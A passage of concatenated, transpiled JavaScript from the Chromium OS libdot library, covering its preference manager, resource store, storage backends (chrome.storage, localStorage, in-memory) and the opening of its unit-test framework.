record.defaultValue = newValue; return;
} record.defaultValue = newValue; this.notifyChange_(name);
};/**
* Change the default value of multiple preferences.
*
* @param {Object} map A map of name -> value pairs specifying the new default
*     values.
*/lib.PreferenceManager.prototype.changeDefaults = function (map) { for (var key in map) { this.changeDefault(key, map[key]); } };/**
* Set a preference to a specific value.
*
* This will dispatch the onChange handler if the preference value actually
* changes.
*
* @param {string} key The preference to set.
* @param {*} value The value to set.  Anything that can be represented in
*     JSON is a valid value.
*/lib.PreferenceManager.prototype.set = function (name, newValue) {
var record = this.prefRecords_[name]; if (!record) throw new Error('Unknown preference: ' + name); var oldValue = record.get(); if (!this.diff(oldValue, newValue)) return; if (this.diff(record.defaultValue, newValue)) { record.currentValue = newValue; this.storage.setItem(this.prefix + name, newValue); } else { record.currentValue = this.DEFAULT_VALUE; this.storage.removeItem(this.prefix + name); }// We need to manually send out the notification on this instance.  If we
// The storage event won't fire a notification because we've already changed
// the currentValue, so it won't see a difference.  If we delayed changing
// currentValue until the storage event, a pref read immediately after a write
// would return the previous value.
//
// The notification is in a timeout so clients don't accidentally depend on
// a synchronous notification.
setTimeout(this.notifyChange_.bind(this, name), 0);
};/**
* Get the value of a preference.
*
* @param {string} key The preference to get.
*/lib.PreferenceManager.prototype.get = function (name) { var record = this.prefRecords_[name]; if (!record) throw new Error('Unknown preference: ' + name); return record.get(); };/**
* Return all non-default preferences as a JSON object.
*
* This includes any nested preference managers as well.
*/lib.PreferenceManager.prototype.exportAsJson = function () { var rv = {}; for (var name in this.prefRecords_) { if (name in this.childLists_) { rv[name] = []; var childIds = this.get(name); for (var i = 0; i < childIds.length; i++) { var id = childIds[i]; rv[name].push({ id: id, json: this.getChild(name, id).exportAsJson() }); } } else { var record = this.prefRecords_[name]; if (record.currentValue != this.DEFAULT_VALUE) rv[name] = record.currentValue; } } return rv; };/**
* Import a JSON blob of preferences previously generated with exportAsJson.
*
* This will create nested preference managers as well.
*/lib.PreferenceManager.prototype.importFromJson = function (json, opt_onComplete) {
var pendingWrites = 0; var onWriteStorage = function onWriteStorage() { if (--pendingWrites < 1 && opt_onComplete) opt_onComplete(); }; for (var name in json) {
if (name in this.childLists_) { var childList = json[name]; for (var i = 0; i < childList.length; i++) { var id = childList[i].id; var childPrefManager = this.childLists_[name][id]; if (!childPrefManager) childPrefManager = this.createChild(name, null, id); childPrefManager.importFromJson(childList[i].json, onWriteStorage); pendingWrites++; } } else {// The set is synchronous.
this.set(name, json[name]);
}
}// If we didn't update any children, no async work has been queued, so make
// the completion callback directly.
if (pendingWrites == 0 && opt_onComplete) opt_onComplete();
};/**
* Called when one of the child list preferences changes.
*/lib.PreferenceManager.prototype.onChildListChange_ = function (listName) { this.syncChildList(listName); };/**
* Called when a key in the storage changes.
*/lib.PreferenceManager.prototype.onStorageChange_ = function (map) {
for (var key in map) {
if (this.prefix) { if (key.lastIndexOf(this.prefix, 0) != 0) continue; } var name = key.substr(this.prefix.length); if (!(name in this.prefRecords_)) {// Sometimes we'll get notified about prefs that are no longer defined.
continue;
} var record = this.prefRecords_[name]; var newValue = map[key].newValue; var currentValue = record.currentValue; if (currentValue === record.DEFAULT_VALUE) currentValue = void 0; if (this.diff(currentValue, newValue)) { if (typeof newValue == 'undefined' || newValue === null) { record.currentValue = record.DEFAULT_VALUE; } else { record.currentValue = newValue; } this.notifyChange_(name); }
}
};// SOURCE FILE: libdot/js/lib_resource.js
// Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict';/**
* Storage for canned resources.
*
* These are usually non-JavaScript things that are collected during a build
* step and converted into a series of 'lib.resource.add(...)' calls.  See
* the "@resource" directive from libdot/bin/concat.sh for the canonical use
* case.
*
* This is global storage, so you should prefix your resource names to avoid
* collisions.
*/lib.resource = { resources_: {} };/**
* Add a resource.
*
* @param {string} name A name for the resource.  You should prefix this to
*   avoid collisions with resources from a shared library.
* @param {string} type A mime type for the resource, or "raw" if not
*   applicable.
* @param {*} data The value of the resource.
*/lib.resource.add = function (name, type, data) { lib.resource.resources_[name] = { type: type, name: name, data: data }; };/**
* Retrieve a resource record.
*
* The resource data is stored on the "data" property of the returned object.
*
* @param {string} name The name of the resource to get.
* @param {*} opt_defaultValue The optional value to return if the resource is
*   not defined.
* @return {object} An object with "type", "name", and "data" properties.
*/lib.resource.get = function (name, opt_defaultValue) { if (!(name in lib.resource.resources_)) { if (typeof opt_defaultValue == 'undefined') throw 'Unknown resource: ' + name; return opt_defaultValue; } return lib.resource.resources_[name]; };/**
* Retrieve resource data.
*
* @param {string} name The name of the resource to get.
* @param {*} opt_defaultValue The optional value to return if the resource is
*   not defined.
* @return {*} The resource data.
*/lib.resource.getData = function (name, opt_defaultValue) { if (!(name in lib.resource.resources_)) { if (typeof opt_defaultValue == 'undefined') throw 'Unknown resource: ' + name; return opt_defaultValue; } return lib.resource.resources_[name].data; };/**
* Retrieve resource as a data: url.
*
* @param {string} name The name of the resource to get.
* @param {*} opt_defaultValue The optional value to return if the resource is
*   not defined.
* @return {*} A data: url encoded version of the resource.
*/lib.resource.getDataUrl = function (name, opt_defaultValue) { var resource = lib.resource.get(name, opt_defaultValue); return 'data:' + resource.type + ',' + resource.data; };// SOURCE FILE: libdot/js/lib_storage.js
// Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict';/**
* Namespace for implementations of persistent, possibly cloud-backed
* storage.
*/lib.Storage = new Object();// SOURCE FILE: libdot/js/lib_storage_chrome.js
// Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict';/**
* chrome.storage based class with an async interface that is interchangeable
* with other lib.Storage.* implementations.
*/lib.Storage.Chrome = function (storage) { this.storage_ = storage; this.observers_ = []; chrome.storage.onChanged.addListener(this.onChanged_.bind(this)); };/**
* Called by the storage implementation when the storage is modified.
*/lib.Storage.Chrome.prototype.onChanged_ = function (changes, areaname) { if (chrome.storage[areaname] != this.storage_) return; for (var i = 0; i < this.observers_.length; i++) { this.observers_[i](changes); } };/**
* Register a function to observe storage changes.
*
* @param {function(map)} callback The function to invoke when the storage
*     changes.
*/lib.Storage.Chrome.prototype.addObserver = function (callback) { this.observers_.push(callback); };/**
* Unregister a change observer.
*
* @param {function} observer A previously registered callback.
*/lib.Storage.Chrome.prototype.removeObserver = function (callback) { var i = this.observers_.indexOf(callback); if (i != -1) this.observers_.splice(i, 1); };/**
* Delete everything in this storage.
*
* @param {function(map)} callback The function to invoke when the delete
*     has completed.
*/lib.Storage.Chrome.prototype.clear = function (opt_callback) { this.storage_.clear(); if (opt_callback) setTimeout(opt_callback, 0); };/**
* Return the current value of a storage item.
*
* @param {string} key The key to look up.
* @param {function(value) callback The function to invoke when the value has
*     been retrieved.
*/lib.Storage.Chrome.prototype.getItem = function (key, callback) { this.storage_.get(key, callback); };/**
* Fetch the values of multiple storage items.
*
* @param {Array} keys The keys to look up.
* @param {function(map) callback The function to invoke when the values have
*     been retrieved.
*/lib.Storage.Chrome.prototype.getItems = function (keys, callback) { this.storage_.get(keys, callback); };/**
* Set a value in storage.
*
* @param {string} key The key for the value to be stored.
* @param {*} value The value to be stored.  Anything that can be serialized
*     with JSON is acceptable.
* @param {function()} opt_callback Optional function to invoke when the
*     set is complete.  You don't have to wait for the set to complete in order
*     to read the value, since the local cache is updated synchronously.
*/lib.Storage.Chrome.prototype.setItem = function (key, value, opt_callback) {
var _this3 = this; var onComplete = function onComplete() {
var err = lib.f.lastError(); if (err) {// Doesn't seem to be any better way of handling this.
// https://crbug.com/764759
if (err.indexOf('MAX_WRITE_OPERATIONS')) { console.warn('Will retry save of ' + key + ' after exceeding quota: ' + err); setTimeout(function () { return _this3.setItem(key, value, onComplete); }, 1000); return; } else { console.error('Unknown runtime error: ' + err); }
} if (opt_callback) opt_callback();
}; var obj = {}; obj[key] = value; this.storage_.set(obj, onComplete);
};/**
* Set multiple values in storage.
*
* @param {Object} map A map of key/values to set in storage.
* @param {function()} opt_callback Optional function to invoke when the
*     set is complete.  You don't have to wait for the set to complete in order
*     to read the value, since the local cache is updated synchronously.
*/lib.Storage.Chrome.prototype.setItems = function (obj, opt_callback) { this.storage_.set(obj, opt_callback); };/**
* Remove an item from storage.
*
* @param {string} key The key to be removed.
* @param {function()} opt_callback Optional function to invoke when the
*     remove is complete.  You don't have to wait for the set to complete in
*     order to read the value, since the local cache is updated synchronously.
*/lib.Storage.Chrome.prototype.removeItem = function (key, opt_callback) { this.storage_.remove(key, opt_callback); };/**
* Remove multiple items from storage.
*
* @param {Array} keys The keys to be removed.
* @param {function()} opt_callback Optional function to invoke when the
*     remove is complete.  You don't have to wait for the set to complete in
*     order to read the value, since the local cache is updated synchronously.
*/lib.Storage.Chrome.prototype.removeItems = function (keys, opt_callback) { this.storage_.remove(keys, opt_callback); };// SOURCE FILE: libdot/js/lib_storage_local.js
// Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict';/**
* window.localStorage based class with an async interface that is
* interchangeable with other lib.Storage.* implementations.
*/lib.Storage.Local = function () { this.observers_ = []; this.storage_ = window.localStorage; window.addEventListener('storage', this.onStorage_.bind(this)); };/**
* Called by the storage implementation when the storage is modified.
*/lib.Storage.Local.prototype.onStorage_ = function (e) {
if (e.storageArea != this.storage_) return;// JS throws an exception if JSON.parse is given an empty string. So here we
// only parse if the value is truthy. This mean the empty string, undefined
// and null will not be parsed.
var prevValue = e.oldValue ? JSON.parse(e.oldValue) : e.oldValue; var curValue = e.newValue ? JSON.parse(e.newValue) : e.newValue; var o = {}; o[e.key] = { oldValue: prevValue, newValue: curValue }; for (var i = 0; i < this.observers_.length; i++) { this.observers_[i](o); }
};/**
* Register a function to observe storage changes.
*
* @param {function(map)} callback The function to invoke when the storage
*     changes.
*/lib.Storage.Local.prototype.addObserver = function (callback) { this.observers_.push(callback); };/**
* Unregister a change observer.
*
* @param {function} observer A previously registered callback.
*/lib.Storage.Local.prototype.removeObserver = function (callback) { var i = this.observers_.indexOf(callback); if (i != -1) this.observers_.splice(i, 1); };/**
* Delete everything in this storage.
*
* @param {function(map)} callback The function to invoke when the delete
*     has completed.
*/lib.Storage.Local.prototype.clear = function (opt_callback) { this.storage_.clear(); if (opt_callback) setTimeout(opt_callback, 0); };/**
* Return the current value of a storage item.
*
* @param {string} key The key to look up.
* @param {function(value) callback The function to invoke when the value has
*     been retrieved.
*/lib.Storage.Local.prototype.getItem = function (key, callback) {
var value = this.storage_.getItem(key); if (typeof value == 'string') {
try { value = JSON.parse(value); } catch (e) {// If we can't parse the value, just return it unparsed.
}
} setTimeout(callback.bind(null, value), 0);
};/**
* Fetch the values of multiple storage items.
*
* @param {Array} keys The keys to look up.
* @param {function(map) callback The function to invoke when the values have
*     been retrieved.
*/lib.Storage.Local.prototype.getItems = function (keys, callback) {
var rv = {}; for (var i = keys.length - 1; i >= 0; i--) {
var key = keys[i]; var value = this.storage_.getItem(key); if (typeof value == 'string') {
try { rv[key] = JSON.parse(value); } catch (e) {// If we can't parse the value, just return it unparsed.
rv[key] = value;
}
} else { keys.splice(i, 1); }
} setTimeout(callback.bind(null, rv), 0);
};/**
* Set a value in storage.
*
* @param {string} key The key for the value to be stored.
* @param {*} value The value to be stored.  Anything that can be serialized
*     with JSON is acceptable.
* @param {function()} opt_callback Optional function to invoke when the
*     set is complete.  You don't have to wait for the set to complete in order
*     to read the value, since the local cache is updated synchronously.
*/lib.Storage.Local.prototype.setItem = function (key, value, opt_callback) { this.storage_.setItem(key, JSON.stringify(value)); if (opt_callback) setTimeout(opt_callback, 0); };/**
* Set multiple values in storage.
*
* @param {Object} map A map of key/values to set in storage.
* @param {function()} opt_callback Optional function to invoke when the
*     set is complete.  You don't have to wait for the set to complete in order
*     to read the value, since the local cache is updated synchronously.
*/lib.Storage.Local.prototype.setItems = function (obj, opt_callback) { for (var key in obj) { this.storage_.setItem(key, JSON.stringify(obj[key])); } if (opt_callback) setTimeout(opt_callback, 0); };/**
* Remove an item from storage.
*
* @param {string} key The key to be removed.
* @param {function()} opt_callback Optional function to invoke when the
*     remove is complete.  You don't have to wait for the set to complete in
*     order to read the value, since the local cache is updated synchronously.
*/lib.Storage.Local.prototype.removeItem = function (key, opt_callback) { this.storage_.removeItem(key); if (opt_callback) setTimeout(opt_callback, 0); };/**
* Remove multiple items from storage.
*
* @param {Array} keys The keys to be removed.
* @param {function()} opt_callback Optional function to invoke when the
*     remove is complete.  You don't have to wait for the set to complete in
*     order to read the value, since the local cache is updated synchronously.
*/lib.Storage.Local.prototype.removeItems = function (ary, opt_callback) { for (var i = 0; i < ary.length; i++) { this.storage_.removeItem(ary[i]); } if (opt_callback) setTimeout(opt_callback, 0); };// SOURCE FILE: libdot/js/lib_storage_memory.js
// Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict';/**
* In-memory storage class with an async interface that is interchangeable with
* other lib.Storage.* implementations.
*/lib.Storage.Memory = function () { this.observers_ = []; this.storage_ = {}; };/**
* Register a function to observe storage changes.
*
* @param {function(map)} callback The function to invoke when the storage
*     changes.
*/lib.Storage.Memory.prototype.addObserver = function (callback) { this.observers_.push(callback); };/**
* Unregister a change observer.
*
* @param {function} observer A previously registered callback.
*/lib.Storage.Memory.prototype.removeObserver = function (callback) { var i = this.observers_.indexOf(callback); if (i != -1) this.observers_.splice(i, 1); };/**
* Delete everything in this storage.
*
* @param {function(map)} callback The function to invoke when the delete
*     has completed.
*/lib.Storage.Memory.prototype.clear = function (opt_callback) { var e = {}; for (var key in this.storage_) { e[key] = { oldValue: this.storage_[key], newValue: void 0 }; } this.storage_ = {}; setTimeout(function () { for (var i = 0; i < this.observers_.length; i++) { this.observers_[i](e); } }.bind(this), 0); if (opt_callback) setTimeout(opt_callback, 0); };/**
* Return the current value of a storage item.
*
* @param {string} key The key to look up.
* @param {function(value) callback The function to invoke when the value has
*     been retrieved.
*/lib.Storage.Memory.prototype.getItem = function (key, callback) {
var value = this.storage_[key]; if (typeof value == 'string') {
try { value = JSON.parse(value); } catch (e) {// If we can't parse the value, just return it unparsed.
}
} setTimeout(callback.bind(null, value), 0);
};/**
* Fetch the values of multiple storage items.
*
* @param {Array} keys The keys to look up.
* @param {function(map) callback The function to invoke when the values have
*     been retrieved.
*/lib.Storage.Memory.prototype.getItems = function (keys, callback) {
var rv = {}; for (var i = keys.length - 1; i >= 0; i--) {
var key = keys[i]; var value = this.storage_[key]; if (typeof value == 'string') {
try { rv[key] = JSON.parse(value); } catch (e) {// If we can't parse the value, just return it unparsed.
rv[key] = value;
}
} else { keys.splice(i, 1); }
} setTimeout(callback.bind(null, rv), 0);
};/**
* Set a value in storage.
*
* @param {string} key The key for the value to be stored.
* @param {*} value The value to be stored.  Anything that can be serialized
*     with JSON is acceptable.
* @param {function()} opt_callback Optional function to invoke when the
*     set is complete.  You don't have to wait for the set to complete in order
*     to read the value, since the local cache is updated synchronously.
*/lib.Storage.Memory.prototype.setItem = function (key, value, opt_callback) { var oldValue = this.storage_[key]; this.storage_[key] = JSON.stringify(value); var e = {}; e[key] = { oldValue: oldValue, newValue: value }; setTimeout(function () { for (var i = 0; i < this.observers_.length; i++) { this.observers_[i](e); } }.bind(this), 0); if (opt_callback) setTimeout(opt_callback, 0); };/**
* Set multiple values in storage.
*
* @param {Object} map A map of key/values to set in storage.
* @param {function()} opt_callback Optional function to invoke when the
*     set is complete.  You don't have to wait for the set to complete in order
*     to read the value, since the local cache is updated synchronously.
*/lib.Storage.Memory.prototype.setItems = function (obj, opt_callback) { var e = {}; for (var key in obj) { e[key] = { oldValue: this.storage_[key], newValue: obj[key] }; this.storage_[key] = JSON.stringify(obj[key]); } setTimeout(function () { for (var i = 0; i < this.observers_.length; i++) { this.observers_[i](e); } }.bind(this)); if (opt_callback) setTimeout(opt_callback, 0); };/**
* Remove an item from storage.
*
* @param {string} key The key to be removed.
* @param {function()} opt_callback Optional function to invoke when the
*     remove is complete.  You don't have to wait for the set to complete in
*     order to read the value, since the local cache is updated synchronously.
*/lib.Storage.Memory.prototype.removeItem = function (key, opt_callback) { delete this.storage_[key]; if (opt_callback) setTimeout(opt_callback, 0); };/**
* Remove multiple items from storage.
*
* @param {Array} keys The keys to be removed.
* @param {function()} opt_callback Optional function to invoke when the
*     remove is complete.  You don't have to wait for the set to complete in
*     order to read the value, since the local cache is updated synchronously.
*/lib.Storage.Memory.prototype.removeItems = function (ary, opt_callback) { for (var i = 0; i < ary.length; i++) { delete this.storage_[ary[i]]; } if (opt_callback) setTimeout(opt_callback, 0); };// SOURCE FILE: libdot/js/lib_test_manager.js
// Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict';/**
* @fileoverview JavaScript unit testing framework for synchronous and
*     asynchronous tests.
*
* This file contains the lib.TestManager and related classes.  At the moment
* it's all collected in a single file since it's reasonably small
* (=~1k lines), and it's a lot easier to include one file into your test
* harness than it is to include seven.
*
* The following classes are defined...
*
*   lib.TestManager - The root class and entrypoint for creating test runs.
*   lib.TestManager.Log - Logging service.
*   lib.TestManager.Suite - A collection of tests.
*   lib.TestManager.Test - A single test.
*   lib.TestManager.TestRun - Manages the execution of a set of tests.
*   lib.TestManager.Result - A single test result.
*//**
* Root object in the unit test hierarchy, and keeper of the log object.
*
* @param {lib.TestManager.Log} opt_log Optional lib.TestManager.Log object.
*     Logs to the JavaScript console if omitted.
*/lib.TestManager = function (opt_log) { this.log = opt_log || new lib.TestManager.Log(); };/**
* Create a new test run object for this test manager.
*
* @param {Object} opt_cx An object to be passed to test suite setup(),
*     preamble(), and test cases during this test run.  This object is opaque
*     to lib.TestManager.* code.  It's entirely up to the test suite what it's
*     used for.
*/lib.TestManager.prototype.createTestRun = function (opt_cx) { return new lib.TestManager.TestRun(this, opt_cx); };/**
* Called when a test run associated with this test manager completes.
*
* Clients may override this to call an appropriate function.
*/lib.TestManager.prototype.onTestRunComplete = function (testRun) { };/**
* Called before a test associated with this test manager is run.
*
* @param {lib.TestManager.Result} result The result object for the upcoming
*     test.
* @param {Object} cx The context object for a test run.
*/lib.TestManager.prototype.testPreamble = function (result, cx) { };/**
* Called after a test associated with this test manager finishes.
*
* @param {lib.TestManager.Result} result The result object for the finished
*     test.
* @param {Object} cx The context object for a test run.
*/lib.TestManager.prototype.testPostamble = function (result, cx) { };/**
* Destination for test case output.
*
* Thw API will be the same as the console object.  e.g. We support info(),
* warn(), error(), etc... just like console.info(), etc...
*
* @param {Object} opt_console The console object to route all logging through.
*     Should provide saome API as the standard console API.
*/lib.TestManager.Log = function () {
var _this4 = this; var opt_console = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : console; this.save = false; this.data = ''; this.prefix_ = ''; this.prefixStack_ = 0;// Capture all the console entry points in case code at runtime calls these
// directly.  We want to be able to still see things.
// We also expose the direct API to our callers (e.g. we provide warn()).
this.console_ = opt_console;['log', 'debug', 'info', 'warn', 'error'].forEach(function (level) { var msgPrefix = ''; switch (level) { case 'debug': case 'warn': case 'error': msgPrefix = level.toUpperCase() + ': '; break; }var oLog = _this4.console_[level]; _this4[level] = _this4.console_[level] = function () { for (var _len2 = arguments.length, args = Array(_len2), _key2 = 0; _key2 < _len2; _key2++) { args[_key2] = arguments[_key2]; } if (_this4.save) _this4.data += _this4.prefix_ + msgPrefix + args.join(' ') + '\n'; oLog.apply(_this4.console_, args); }; });// Wrap/bind the group functions.
['group', 'groupCollapsed'].forEach(function (group) { var oGroup = _this4.console_[group]; _this4[group] = _this4.console_[group] = function () { var label = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : ''; oGroup(label); if (_this4.save) _this4.data += _this4.prefix_ + label + '\n'; _this4.prefix_ = '  '.repeat(++_this4.prefixStack_); }; }); var oGroupEnd = this.console_.groupEnd; this.groupEnd = this.console_.groupEnd = function () { oGroupEnd(); if (_this4.prefixStack_) _this4.prefix_ = '  '.repeat(--_this4.prefixStack_); };
};/**
* Returns a new constructor function that will inherit from
* lib.TestManager.Suite.
*
* Use this function to create a new test suite subclass.  It will return a
* properly initialized constructor function for the subclass.  You can then
* override the setup() and preamble() methods if necessary and add test cases
* to the subclass.
*
*   var MyTests = new lib.TestManager.Suite('MyTests');
*
*   MyTests.prototype.setup = function(cx) {
*     // Sets this.size to cx.size if it exists, or the default value of 10
*     // if not.
*     this.setDefault(cx, {size: 10});
*   };
*
*   MyTests.prototype.preamble = function(result, cx) {
*     // Some tests (even successful ones) may side-effect this list, so
*     // recreate it before every test.
*     this.list = [];
*     for (var i = 0; i < this.size; i++) {
*       this.list[i] = i;
*     }
*   };
*
*   // Basic synchronous test case.
*   MyTests.addTest('pop-length', function(result, cx) {
*       this.list.pop();
*
*       // If this assertion fails, the testcase will stop here.
*       result.assertEQ(this.list.length, this.size - 1);
*
*       // A test must indicate it has passed by calling this method.
*       result.pass();
*     });
*
*   // Sample asynchronous test case.
*   MyTests.addTest('async-pop-length', function(result, cx) {
*       var callback = () => {
*           result.assertEQ(this.list.length, this.size - 1);
*           result.pass();
*       };
*
*       // Wait 100ms to check the array length for the sake of this example.
*       setTimeout(callback, 100);
*
*       this.list.pop();
*
*       // Indicate that this test needs another 200ms to complete.
*       // If the test does not report pass/fail by then, it is considered to
*       // have timed out.
*       result.requestTime(200);
*     });
*
*   ...
*
* @param {string} suiteName The name of the test suite.
*/lib.TestManager.Suite = function (suiteName) { function ctor(testManager, cx) { this.testManager_ = testManager; this.suiteName = suiteName; this.setup(cx); } ctor.suiteName = suiteName; ctor.addTest = lib.TestManager.Suite.addTest; ctor.disableTest = lib.TestManager.Suite.disableTest; ctor.getTest = lib.TestManager.Suite.getTest; ctor.getTestList = lib.TestManager.Suite.getTestList; ctor.testList_ = []; ctor.testMap_ = {}; ctor.prototype = Object.create(lib.TestManager.Suite.prototype); ctor.constructor = lib.TestManager.Suite; lib.TestManager.Suite.subclasses.push(ctor); return ctor; };/**
* List of lib.TestManager.Suite subclasses, in the order they were defined.
*/lib.TestManager.Suite.subclasses = [];/**
* Add a test to a lib.TestManager.Suite.
*
* This method is copied to new subclasses when they are created.
*/lib.TestManager.Suite.addTest = function (testName, testFunction) { if (testName in this.testMap_) throw 'Duplicate test name: ' + testName; var test = new lib.TestManager.Test(this, testName, testFunction); this.testMap_[testName] = test; this.testList_.push(test); };/**
* Defines a disabled test.
*/lib.TestManager.Suite.disableTest = function (testName, testFunction) { if (testName in this.testMap_) throw 'Duplicate test name: ' + testName; var test = new lib.TestManager.Test(this, testName, testFunction); console.log('Disabled test: ' + test.fullName); };/**
* Get a lib.TestManager.Test instance by name.
*
* This method is copied to new subclasses when they are created.
*
* @param {string} testName The name of the desired test.
* @return {lib.TestManager.Test} The requested test, or undefined if it was not
*     found.
*/lib.TestManager.Suite.getTest = function (testName) { return this.testMap_[testName]; };/**
* Get an array of lib.TestManager.Tests associated with this Suite.
*
* This method is copied to new subclasses when they are created.
*/lib.TestManager.Suite.getTestList = function () { return this.testList_; };/**
* Set properties on a test suite instance, pulling the property value from
* the context if it exists and from the defaults dictionary if not.
*
* This is intended to be used in your test suite's setup() method to
* define parameters for the test suite which may be overridden through the
* context object.  For example...
*
*   MySuite.prototype.setup = function(cx) {
*     this.setDefaults(cx, {size: 10});
*   };
*
* If the context object has a 'size' property then this.size will be set to
* the value of cx.size, otherwise this.size will get a default value of 10.
*
* @param {Object} cx The context object for a test run.
* @param {Object} defaults An object containing name/value pairs to set on
*     this test suite instance.  The value listed here will be used if the
*     name is not defined on the context object.
*/lib.TestManager.Suite.prototype.setDefaults = function (cx, defaults) { for (var k in defaults) { this[k] = k in cx ? cx[k] : defaults[k]; } };/**
* Subclassable method called to set up the test suite.
*
* The default implementation of this method is a no-op.  If your test suite
* requires some kind of suite-wide setup, this is the place to do it.
*
* It's fine to store state on the test suite instance, that state will be
* accessible to all tests in the suite.  If any test case fails, the entire
* test suite object will be discarded and a new one will be created for
* the remaining tests.
*
* Any side effects outside of this test suite instance must be idempotent.
* For example, if you're adding DOM nodes to a document, make sure to first
* test that they're not already there.  If they are, remove them rather than
* reuse them.  You should not count on their state, since they were probably
* left behind by a failed testcase.
*
* Any exception here will abort the remainder of the test run.
*
* @param {Object} cx The context object for a test run.
*/lib.TestManager.Suite.prototype.setup = function (cx) { };/**
* Subclassable method called to do pre-test set up.
*
* The default implementation of this method is a no-op.  If your test suite
* requires some kind of pre-test setup, this is the place to do it.
*
* This can be used to avoid a bunch of boilerplate setup/teardown code in
* this suite's testcases.
*
* Any exception here will abort the remainder of the test run.
*
* @param {lib.TestManager.Result} result The result object for the upcoming
*     test.
* @param {Object} cx The context object for a test run.
*/lib.TestManager.Suite.prototype.preamble = function (result, cx) { };/**
* Subclassable method called to do post-test tear-down.
*
* The default implementation of this method is a no-op.  If your test suite
* requires some kind of pre-test setup, this is the place to do it.
*
* This can be used to avoid a bunch of boilerplate setup/teardown code in
* this suite's testcases.
*
* Any exception here will abort the remainder of the test run.
*
* @param {lib.TestManager.Result} result The result object for the finished
*     test.
* @param {Object} cx The context object for a test run.
*/lib.TestManager.Suite.prototype.postamble = function (result, cx) { };/**
* Object representing a single test in a test suite.
*
* These are created as part of the lib.TestManager.Suite.addTest() method.
* You should never have to construct one by hand.
*
* @param {lib.TestManager.Suite} suiteClass The test suite class containing
*     this test.
* @param {string} testName The local name of this test case, not including the
*     test suite name.
* @param {function(lib.TestManager.Result, Object)} testFunction The function
*     to invoke for this test case.  This is passed a Result instance and the
*     context object associated with the test run.
*
*/lib.TestManager.Test = function (suiteClass, testName, testFunction) {/**
* The test suite class containing this function.
*/this.suiteClass = suiteClass;/**
* The local name of this test, not including the test suite name.
*/this.testName = testName;/**
* The global name of this test, including the test suite name.
*/this.fullName = suiteClass.suiteName + '[' + testName + ']';// The function to call for this test.
this.testFunction_ = testFunction;
};/**
* Execute this test.
*
* This is called by a lib.TestManager.Result instance, as part of a
* lib.TestManager.TestRun.  You should not call it by hand.
*
* @param {lib.TestManager.Result} result The result object for the test.
*/lib.TestManager.Test.prototype.run = function (result) {
try {// Tests are applied to the parent lib.TestManager.Suite subclass.
this.testFunction_.apply(result.suite, [result, result.testRun.cx]);
} catch (ex) { if (ex instanceof lib.TestManager.Result.TestComplete) return; result.println('Test raised an exception: ' + ex); if (ex.stack) { if (ex.stack instanceof Array) { result.println(ex.stack.join('\n')); } else { result.println(ex.stack); } } result.completeTest_(result.FAILED, false); }
};/**
* Used to choose a set of tests and run them.
*
* It's slightly more convenient to construct one of these from
* lib.TestManager.prototype.createTestRun().
*
* @param {lib.TestManager} testManager The testManager associated with this
*     TestRun.
* @param {Object} cx A context to be passed into the tests.  This can be used
*     to set parameters for the test suite or individual test cases.
*/lib.TestManager.TestRun = function (testManager, cx) {/**
* The associated lib.TestManager instance.
*/this.testManager = testManager;/**
* Shortcut to the lib.TestManager's log.
*/this.log = testManager.log;/**
* The test run context.  It's entirely up to the test suite and test cases
* how this is used.  It is opaque to lib.TestManager.* classes.
*/this.cx = cx || {};/**
* The list of test cases that encountered failures.
*/this.failures = [];/**
* The list of test cases that passed.
*/this.passes = [];/**
* The time the test run started, or null if it hasn't been started yet.
*/this.startDate = null;/**
* The time in milliseconds that the test run took to complete, or null if
* it hasn't completed yet.
*/this.duration = null;/**
* The most recent result object, or null if the test run hasn't started
* yet.  In order to detect late failures, this is not cleared when the test
* completes.
*/this.currentResult = null;/**
* Number of maximum failures.  The test run will stop when this number is
* reached.  If 0 or omitted, the entire set of selected tests is run, even
* if some fail.
*/this.maxFailures = 0;/**
* True if this test run ended early because of an unexpected condition.
*/this.panic = false;// List of pending test cases.
this.testQueue_ = [];
};/**
* This value can be passed to select() to indicate that all tests should
* be selected.
*/lib.TestManager.TestRun.prototype.ALL_TESTS = lib.f.createEnum('<all-tests>');/**
* Add a single test to the test run.
*/lib.TestManager.TestRun.prototype.selectTest = function (test) { this.testQueue_.push(test); }; lib.TestManager.TestRun.prototype.selectSuite = function (suiteClass, opt_pattern) {
var pattern = opt_pattern || this.ALL_TESTS; var selectCount = 0; var testList = suiteClass.getTestList(); for (var j = 0; j < testList.length; j++) {
var test = testList[j];// Note that we're using "!==" rather than "!=" so that we're matching
// the ALL_TESTS String object, rather than the contents of the string.
if (pattern !== this.ALL_TESTS) { if (pattern instanceof RegExp) { if (!pattern.test(test.testName)) continue; } else if (test.testName != pattern) { continue; } } this.selectTest(test); selectCount++;
} return selectCount;
};/**
* Selects one or more tests to gather results for.
*
* Selecting the same test more than once is allowed.
*
* @param {string|RegExp} pattern Pattern used to select tests.
*     If TestRun.prototype.ALL_TESTS, all tests are selected.
*     If a string, only the test that exactly matches is selected.
*     If a RegExp, only tests matching the RegExp are added.
*
* @return {int} The number of additional tests that have been selected into
*     this TestRun.
*/lib.TestManager.TestRun.prototype.selectPattern = function (pattern) { var selectCount = 0; for (var i = 0; i < lib.TestManager.Suite.subclasses.length; i++) { selectCount += this.selectSuite(lib.TestManager.Suite.subclasses[i], pattern); } if (!selectCount) { this.log.warn('No tests matched selection criteria: ' + pattern); } return selectCount; };/**
* Hooked up to window.onerror during a test run in order to catch exceptions
* that would otherwise go uncaught.
*/lib.TestManager.TestRun.prototype.onUncaughtException_ = function (message, file, line) {
if (message.indexOf('Uncaught lib.TestManager.Result.TestComplete') == 0 || message.indexOf('status: passed') != -1) {// This is a result.pass() or result.fail() call from a callback.  We're
// already going to deal with it as part of the completeTest_() call
// that raised it.  We can safely squelch this error message.
return true;
